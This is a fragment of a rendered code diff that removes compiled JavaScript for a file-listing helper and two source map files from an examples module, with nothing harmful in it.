* Returns relative paths suitable for use with buildFileEventContext.
|
|
89
|
-
*/
|
|
90
|
-
export function getExampleFiles(dir) {
|
|
91
|
-
const files = [];
|
|
92
|
-
const entries = readdirSync(dir);
|
|
93
|
-
for (const entry of entries) {
|
|
94
|
-
if (entry === '_meta.json')
|
|
95
|
-
continue;
|
|
96
|
-
const entryPath = join(dir, entry);
|
|
97
|
-
const stat = statSync(entryPath);
|
|
98
|
-
if (stat.isFile()) {
|
|
99
|
-
files.push(entryPath);
|
|
100
|
-
}
|
|
101
|
-
}
|
|
102
|
-
return files;
|
|
103
|
-
}
|
|
104
|
-
//# sourceMappingURL=index.js.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/examples/index.ts"],"names":[],"mappings":"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"}
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"setup.js","sourceRoot":"","sources":["../../src/examples/setup.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,MAAM,SAAS,CAAC;AACrC,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,MAAM,IAAI,YAAY,EAAE,MAAM,QAAQ,CAAC;AAEhD;;;;;;GAMG;AACH,SAAS,WAAW;IAClB,MAAM,IAAI,GAAG,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,OAAO,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC;IAEnD,MAAM,QAAQ,GAAG,CAAC,MAAM,EAAE,YAAY,EAAE,WAAW,CAAC,CAAC;IAErD,KAAK,MAAM,IAAI,IAAI,QAAQ,EAAE,CAAC;QAC5B,MAAM,IAAI,GAAG,IAAI,CAAC,IAAI,EAAE,IAAI,CAAC,CAAC;QAC9B,IAAI,UAAU,CAAC,IAAI,CAAC,EAAE,CAAC;YACrB,YAAY,CAAC,EAAE,IAAI,EAAE,QAAQ,EAAE,IAAI,EAAE,CAAC,CAAC;QACzC,CAAC;IACH,CAAC;AACH,CAAC;AAED,WAAW,EAAE,CAAC"}
|
|
File without changes
|
|
File without changes
|